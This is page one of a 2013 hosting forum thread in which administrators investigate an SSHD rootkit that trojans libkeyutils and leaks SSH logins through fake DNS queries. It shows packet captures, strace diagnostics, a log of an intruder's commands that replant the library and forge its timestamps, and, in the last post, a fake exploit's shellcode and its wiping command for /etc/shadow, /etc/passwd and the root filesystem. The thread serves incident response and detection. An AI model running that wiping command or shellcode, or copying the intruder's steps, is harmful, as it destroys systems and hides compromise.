Page 1 of 6 123 ... LastLast
Results 1 to 15 of 88

Thread: SSHD Rootkit

  1. #1
    Registered Member prajithp13's Avatar
    Join Date
    Jun 2012
    Location
    India
    Posts
    20
    cPanel/WHM Access Level

    Root Administrator

    Default SSHD Rootkit

    Attention:
    ------------------------------
    It has recently come to light there is a security exploit that seems to be
    affecting or targeting Cloud Linux and CentOS systems running cPanel.
    This is a very new exploit which we have been investigating over the last
    few days and working on a solution. We have been monitoring our managed
    customers and implementing what we believe to fix the exploit.

    You can find more information regarding this recently discovered exploit at
    SSHD Rootkit Rolling around - Web Hosting Talk

    Action required:
    ------------------------------
    Our managed cPanel customers need not do anything unless contacted directly
    by us. Self managed customers will need to do the following to detect the
    file in question and correct the exploit:

    1. SSH to server
    2. Run 'updatedb'
    3. Run 'locate libkeyutils.so.1.9'

    Please follow the steps below to clear the expliot.

    1. SSH to the server
    2. cd /lib64/
    3. rm libkeyutils.so.1.9
    4. rm libkeyutils.so.1
    5. ln -s libkeyutils.so.1.3 libkeyutils.so.1
    6. Restart ssh
    7. yum update kernel and Reboot to close any active connections

    Feel free to open a trouble ticket if you have any questions.


    Thank you for your business,
    Hivelocity Support Team
    /https://hivelocity.net/myvelocity/
    888-869-HOST
    Last edited by Infopro; 02-18-2013 at 04:32 AM. Reason: added full post

  2. #2
    Registered Member cPanel Partner NOC Badge
    Join Date
    Jul 2005
    Posts
    625

    Default Re: SSHD Rootkit

    I put in a ticket about this, this exploit is "not a cPanel exploit...is not cPanel related"

    Seems to be a kernel ptrace exploit:
    https://bugzilla.redhat.com/show_bug.cgi?id=911937

  3. #3
    Registered Member JeffP.'s Avatar
    Join Date
    Sep 2010
    Posts
    164

    Default Re: SSHD Rootkit

    That bug is not necessarily related to issue of the libkeyutils.so.1.9 file. Though, it doesn't help that a PoC was released so quickly. There are always local kernel roots, always. It is commonplace to want to link 2 known issues together, but very important to keep in mind that until evidence has shown otherwise, the cause remains entirely unknown.

    Additionally, deleting the lib is not the only action that you should take. Ideally you will rebuild your server and never use any of the same passwords again, as it is believed to possibly send your username and password via UDP port 53 to a remote host by way of bogus DNS queries if using password auth.

    This is the information that I independently discovered yesterday after first investigating the issue:

    When you ssh into a server that has the libkeyutils.so.1.9 file linked to sshd, you may see 1 or 2 outbound UDP port 53 packets destined for a host at 72.156.139.154, like this:

    Code:
    [root@host ~]# tcpdump -Annvvs 1500 -i any host 72.156.139.154
    Code:
    07:54:48.233159 IP (tos 0x0, ttl  64, id 31281, offset 0, flags [DF], proto: UDP (17), length: 91) x.x.x.x.43089 > 72.156.139.154.53: [bad udp cksum d7a9!]  4619+ A? 6196g8f43a4facd3561de4gec736fb.y.y.y.y. (63)
    .
    Code:
    07:54:48.273047 IP (tos 0x0, ttl  64, id 31321, offset 0, flags [DF], proto: UDP (17), length: 95) x.x.x.x.54872 > 72.156.139.154.53: [bad udp cksum 4e0e!]  4619+ A? 8236g7ab5b6e67g4632bc5ec31egc54ee7.y.y.y.y. (67)
    .
    (Ignore the extra "." at the end of the 2 packets, as I've added it simply to expand the boxes since they were cutting off the bottom line in my browser).

    "x.x.x.x" is the IP address of the machine that is ssh'd into

    "y.y.y.y" is the IP address of the machine that is ssh'd from

    The random string that appears to the left of "y.y.y.y" is believed to possibly be the obfuscated username (e.g., "root", from the first packet), and the password (from the second packet). Note that the string is not a fixed length. You can try logging in a user with a very short username, or with a user who has a very short password, and you'll see the size of the string change (it shortened in my testing).

    So, when you log into a server via sshd that is linked to the lib, it is suspected that the username and password used to log in, including the host that you logged in from, are sent to another host, disguised as an A record lookup in DNS.

    What does this mean?

    A) Logging into sshd as root continues to be a terrible idea

    B) If you reuse your passwords, and if the lib is sending password data, check everywhere that you've used that password - especially if you logged in from a machine that has a public facing sshd.

    It is common to see applications such as sshd directly backdoored once an attacker has root access to a host. For example, oftentimes attackers will replace /usr/sbin/sshd with a copy of their own which has been modified to store usernames and passwords, to bypass logging to syslog, to allow remote root access with a secret password, etc. However, detection of such an attack is trivial, as the size of the sshd binary, its checksum, etc will change.

    In this case, a different but also common tactic has been deployed: instead of trojaning the application directly, trojan one of its libraries. Combined with a tiny amount of seemingly innocuous but blatantly malicious DNS traffic, this is an effective attack.

    How could this attack have been detected? One way would be through careful monitoring of all RPM packages. This is good output, if we are trust the rpm utility on the host from which it is being run:

    Code:
    [root@host ~]# rpm -V keyutils-libs
    [root@host ~]#
    whereas this indicates that the libkeyutils.so.1 symlink has been changed:

    Code:
    [root@host ~]# rpm -V keyutils-libs
    ....L...    /lib64/libkeyutils.so.1
    Further inspection showed that /lib64/libkeyutils.so.1 was no longer a symlink to /lib64/libkeyutils-1.2.so but to /lib64/libkeyutils.so.1.9 .


    Additionally, you'll note that the malicious library contains networking related code:

    Code:
    [root@host ~]# strings libkeyutils.so.1.9 | egrep 'connect|socket|inet_ntoa|gethostbyname'
    gethostbyname
    socket
    inet_ntoa
    connect
    whereas the original lib does not:

    Code:
    [root@host ~]# strings libkeyutils-1.2.so | egrep 'connect|socket|inet_ntoa|gethostbyname'
    [root@host ~]
    Again, the cause remains unknown. According a thread on WebHostingTalk, many types of servers using various control panels have seen this attack. Those servers are surely also using different operating systems, different kernels, some with virtualization software and some without. Some are surely running daemons that others are not, and some - many, I'd wager - have already had user level break-ins at some point like so many hosting boxes do. They are also using a wide variety of software repos, and managed by folks who practice different security policies (e.g., some folks reuse the same password on all of their servers, while some strictly use key based auth).

    At this time the origin of attacks remains unclear, and there is always the possibility of multiple attack vectors.

    I hope this information is helpful.

  4. #4
    Registered Member JeffP.'s Avatar
    Join Date
    Sep 2010
    Posts
    164

    Default Re: SSHD Rootkit

    I'll also share how I quickly found the bogus DNS packets, which began to illustrate the attack.

    1) I straced sshd while logging into it:

    Code:
    [root@host ~]# cat > strace-sshd << EOF
    STRACE=`ps aux | grep ssh[d] | awk '{print "-p " $2}'` ; echo $STRACE ; strace -o out -f -s 5000 $STRACE
    EOF
    [root@host ~]# chmod 700 strace-sshd
    [root@host ~]# ./strace-sshd
    -p 16256 -p 20348 -p 20354 -p 28263 -p 28275 -p 30174 -p 30184
    Process 16256 attached - interrupt to quit
    Process 20348 attached - interrupt to quit
    Process 20354 attached - interrupt to quit
    Process 28263 attached - interrupt to quit
    Process 28275 attached - interrupt to quit
    Process 30174 attached - interrupt to quit
    Process 30184 attached - interrupt to quit
    2) I then parsed the strace output, putting each syscall into its own file for review:

    Code:
    [root@host ~]# cat > syscallparse << EOF
    for x in `awk '{print $2}' ../out  | grep [a-z] | sed s/\(.*//g | sort | uniq` ; do grep -n "^[[:digit:]]\+[[:space:]]\+$x(" ../out >> $x ; done
    EOF
    [root@host ~]# chmod 700 syscallparse
    [root@host ~]# mkdir syscalls && cd syscalls
    [root@host ~/syscalls]# ../syscallparse
    3) After running the syscallparse script, I had the strace output of each syscall in its own file:

    Code:
    [root@host ~/syscalls]# ls -al
    total 2376
    drwxr-xr-x 2 root root    4096 Feb 17 10:43 ./
    drwx------ 3 root root    4096 Feb 17 10:43 ../
    -rw-r--r-- 1 root root     222 Feb 17 10:43 accept
    -rw-r--r-- 1 root root    5423 Feb 17 10:43 access
    -rw-r--r-- 1 root root    1268 Feb 17 10:43 alarm
    -rw-r--r-- 1 root root    1044 Feb 17 10:43 arch_prctl
    -rw-r--r-- 1 root root    1134 Feb 17 10:43 bind
    -rw-r--r-- 1 root root    4747 Feb 17 10:43 brk
    -rw-r--r-- 1 root root     243 Feb 17 10:43 chdir
    -rw-r--r-- 1 root root      98 Feb 17 10:43 chmod
    -rw-r--r-- 1 root root     147 Feb 17 10:43 chown
    -rw-r--r-- 1 root root      97 Feb 17 10:43 chroot
    -rw-r--r-- 1 root root    3447 Feb 17 10:43 clone
    -rw-r--r-- 1 root root   36520 Feb 17 10:43 close
    -rw-r--r-- 1 root root    6149 Feb 17 10:43 connect
    -rw-r--r-- 1 root root     441 Feb 17 10:43 dup
    -rw-r--r-- 1 root root    2447 Feb 17 10:43 dup2
    -rw-r--r-- 1 root root    1592 Feb 17 10:43 execve
    -rw-r--r-- 1 root root    1715 Feb 17 10:43 exit_group
    -rw-r--r-- 1 root root    8307 Feb 17 10:43 fcntl
    -rw-r--r-- 1 root root   24143 Feb 17 10:43 fstat
    -rw-r--r-- 1 root root    1403 Feb 17 10:43 futex
    -rw-r--r-- 1 root root     623 Feb 17 10:43 getdents
    [...]
    It was upon review of the file named "connect" that I noticed the unusual 72.156.139.154 host. Everything took off from that point.

  5. #5
    Registered Member
    Join Date
    Jan 2010
    Location
    Orlando, FL
    Posts
    65
    cPanel/WHM Access Level

    DataCenter Provider

    Default Re: SSHD Rootkit

    Jeff,

    This is solid, as is Steve's research on WHT's forum. . .what I really am trying to find out, is how this happened, and more importantly how it seems to have occurred on such a large scale!
    Follow me on Twitter!

    - Eric Gillette

  6. #6
    Registered Member
    Join Date
    Jan 2010
    Location
    Orlando, FL
    Posts
    65
    cPanel/WHM Access Level

    DataCenter Provider

    Default Re: SSHD Rootkit

    I've posted in WHT about a simple bash script I created which can be used to detect the file and delete it if it exists:

    SSHD Rootkit Rolling around - Page 11 - Web Hosting Talk
    Follow me on Twitter!

    - Eric Gillette

  7. #7
    Registered Member brianoz's Avatar
    Join Date
    Mar 2004
    Location
    Melbourne, Australia
    Posts
    1,153
    cPanel/WHM Access Level

    Root Administrator

    Default Re: SSHD Rootkit

    Quote Originally Posted by egillette View Post
    ... what I really am trying to find out, is how this happened, and more importantly how it seems to have occurred on such a large scale!
    Eric,

    I think that's where all the effort is focussed at this point. Initial thoughts were a kernel bug, ptrace with a race condition, but now people have doubts about that. Work is ongoing though and we should have a result soon.
    White Dog Green Frog - web hosting and web development since 2002
    Blogs: SMB web use cPanel/WHM scripts

  8. #8
    Registered Member
    Join Date
    Feb 2008
    Posts
    103

    Default Re: SSHD Rootkit

    Just read the entire topic at WHT... quite scary this one.
    Any mitigation tactics you guys are using? Any ports we should (temporarely) block?

  9. #9
    Registered Member prajithp13's Avatar
    Join Date
    Jun 2012
    Location
    India
    Posts
    20
    cPanel/WHM Access Level

    Root Administrator

    Default Re: SSHD Rootkit

    Well, Me got hacked again I have deleted the file libkeyutils.so.1.9 before 2 days ago, but Today Its placed in /lib folder again. I doubt its 0 day openssh exploit. I have installed the snoopy as per the Steven advice, I can see the hacker running the following commands in server.

    Code:
    Feb 18 07:28:03 server1 snoopy[20446]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
    Feb 18 07:28:03 server1 snoopy[20448]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
    Feb 18 07:28:03 server1 snoopy[20449]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -i Feb 18 07
    Feb 18 07:28:04 server1 snoopy[20452]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
    Feb 18 07:28:04 server1 snoopy[20453]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -vi Feb 18 07
    Feb 18 07:28:04 server1 snoopy[20454]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
    Feb 18 07:28:04 server1 snoopy[20455]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep Feb 18 07
    Feb 18 07:28:05 server1 snoopy[20469]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
    Feb 18 07:28:05 server1 snoopy[20471]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/notify.log
    Feb 18 07:28:05 server1 snoopy[20472]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -vi 46.105.20.166|46.105.20.166
    Feb 18 07:28:05 server1 snoopy[20473]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /home/tmpp/q3def
    Feb 18 07:28:05 server1 snoopy[20474]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
    Feb 18 07:28:05 server1 snoopy[20477]: [uid:0 sid:20392 tty: cwd:/root filename:/usr/bin/ssh]: ssh -G1 -V
    Feb 18 07:28:05 server1 snoopy[20478]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep illegal
    Feb 18 07:28:05 server1 snoopy[21505]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /etc/redhat-release
    Feb 18 07:28:05 server1 snoopy[21509]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep -i UseLogin /etc/ssh/sshd_config
    Feb 18 07:28:05 server1 snoopy[21510]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep -v ^#
    Feb 18 07:28:06 server1 snoopy[21517]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/chown]: chown root:root libzz8d70
    Feb 18 07:28:06 server1 snoopy[21518]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/chmod]: chmod 755 libzz8d70
    Feb 18 07:28:06 server1 snoopy[21519]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/mv]: mv libzz8d70 libkeyutils.so.1.9
    Feb 18 07:28:06 server1 snoopy[21520]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/ln]: ln -s libkeyutils.so.1.9 libkeyutils.so.n
    Feb 18 07:28:06 server1 snoopy[21521]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/mv]: mv libkeyutils.so.n libkeyutils.so.1
    Feb 18 07:28:06 server1 snoopy[21522]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/touch]: touch -c -r libkeyutils-1.2.so libkeyutils.so.1.9
    Feb 18 07:28:06 server1 snoopy[21524]: [uid:0 sid:20392 tty: cwd:/lib filename:/usr/bin/ldd]: ldd /usr/sbin/sshd
    Feb 18 07:28:06 server1 snoopy[21525]: [uid:0 sid:20392 tty: cwd:/lib filename:/lib/ld-linux.so.2]: /lib/ld-linux.so.2 --verify /usr/sbin/sshd
    Feb 18 07:28:06 server1 snoopy[21527]: [uid:0 sid:20392 tty: cwd:/lib filename:/lib/ld-linux.so.2]: /lib/ld-linux.so.2 /usr/sbin/sshd
    Feb 18 07:28:06 server1 snoopy[21528]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/cat]: cat
    Feb 18 07:28:06 server1 snoopy[21529]: [uid:0 sid:20392 tty: cwd:/lib filename:/usr/sbin/sshd]: /usr/sbin/sshd -t
    Feb 18 07:28:06 server1 snoopy[21531]: [uid:0 sid:20392 tty: cwd:/lib filename:/sbin/restorecon]: restorecon -F /lib/libkeyutils-1.2.so /lib/libkeyutils.so.1 /lib/libkeyutils.so.1.9
    Feb 18 07:28:06 server1 snoopy[21532]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/touch]: touch -c -r libkeyutils-1.2.so libkeyutils.so.1
    Feb 18 07:28:09 server1 sshd[20383]: Connection closed by 46.105.20.166


    Code:
    root@server1 [/var/log]# ls -ld /lib/libkeyutils
    libkeyutils-1.2.so  libkeyutils.so.1    libkeyutils.so.1.9  
    root@server1 [/var/log]# ls -ld /lib/libkeyutils
    root@server1 [/var/log]# ls -ld /lib/libkeyutils.so.1.9
    -rwxr-xr-x 1 root root 26904 Jan  6  2007 /lib/libkeyutils.so.1.9*
    root@server1 [/var/log]# stat /lib/libkeyutils.so.1.9
      File: `/lib/libkeyutils.so.1.9'
      Size: 26904           Blocks: 56         IO Block: 4096   regular file
    Device: 6ah/106d        Inode: 357728408   Links: 1
    Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2013-02-18 07:28:21.000000000 -0500
    Modify: 2007-01-06 02:57:38.000000000 -0500
    Change: 2013-02-18 07:28:06.000000000 -0500


    I have parsed the strace output, but I don't see any outbound connections to unknown ips.

    Researching more about it....
    Prajith P | Linux Server Management - http://ndimensionz.com | http://prajith.in
    System Administration Expert

  10. #10
    Registered Member JeffP.'s Avatar
    Join Date
    Sep 2010
    Posts
    164

    Default Re: SSHD Rootkit

    Is "tmpp" a valid user on the server?

    Does "lsof | grep q3def" show any results (e.g., "(deleted)")?

  11. #11
    Registered Member
    Join Date
    Apr 2011
    Posts
    14

    Default Re: SSHD Rootkit

    removed...
    Last edited by easyswiss; 02-18-2013 at 08:32 AM.

  12. #12
    Registered Member prajithp13's Avatar
    Join Date
    Jun 2012
    Location
    India
    Posts
    20
    cPanel/WHM Access Level

    Root Administrator

    Default Re: SSHD Rootkit

    No user with the name tmpp. I think the hacker is creating that folder..
    No output from lsof | grep q3def command.
    Prajith P | Linux Server Management - http://ndimensionz.com | http://prajith.in
    System Administration Expert

  13. #13
    Registered Member
    Join Date
    Apr 2011
    Posts
    14

    Default Re: SSHD Rootkit

    removed...
    Last edited by easyswiss; 02-18-2013 at 08:32 AM.

  14. #14
    Registered Member JeffP.'s Avatar
    Join Date
    Sep 2010
    Posts
    164

    Default Re: SSHD Rootkit

    Quote Originally Posted by easyswiss View Post
    I wrote cpanel a ticket (3768109), hope its useful.
    If you believe that you have a found a problem with the 3rd party software "OpenSSH", you should contact the vendor of that software. Their website is here:

    openssh.com

    Thanks.

  15. #15
    Registered Member JeffP.'s Avatar
    Join Date
    Sep 2010
    Posts
    164

    Default Re: SSHD Rootkit

    Those are not legitimate exploits. The OpenSSH one contains this, which should always be suspicious:

    Code:
    fprintf(stderr, "You need to be root [...]
    and the fake shellcode contains this:

    Code:
     Rfh-
    h//r
    mh/b
    (rm -fR).


    The Apache one in the ticket contained this:

    Code:
    echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /
    --

    Compiling just the shellcode:

    Code:
    $ cat a.c 
    int main() {
    
        unsigned char shellcode[] =
        "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
        "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
        "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
        "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
        "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
        "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
        "\xcd\x80";
    
    }
    Code:
    $ gcc a.c -o a
    Checking its strings:

    Code:
    $ strings a
    /lib64/ld-linux-x86-64.so.2
    __gmon_start__
    libc.so.6
    __libc_start_main
    GLIBC_2.2.5
    fff.
    fffff.
    l$ L
    t$(L
    |$0H
    Rfh-c
    h/sh
    h/bin
    echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /

Page 1 of 6 123 ... LastLast

Similar Threads

  1. Replies: 4
    Last Post: 06-27-2011, 05:34 AM
  2. rootkit hunter
    By Sheldon in forum cPanel & WHM Discussions
    Replies: 3
    Last Post: 03-14-2010, 10:20 AM
  3. Possible rootkit: Xzibit Rootkit ????
    By furquan in forum Security
    Replies: 5
    Last Post: 12-22-2009, 05:16 AM
  4. sshd port 22 renumbering or sshd limiting
    By teddymills in forum cPanel & WHM Discussions
    Replies: 1
    Last Post: 07-29-2005, 03:14 PM
  5. Rootkit Hunter 1.1.5
    By eazistore in forum cPanel Developers
    Replies: 26
    Last Post: 07-06-2005, 02:33 PM

Tags for this Thread

bargain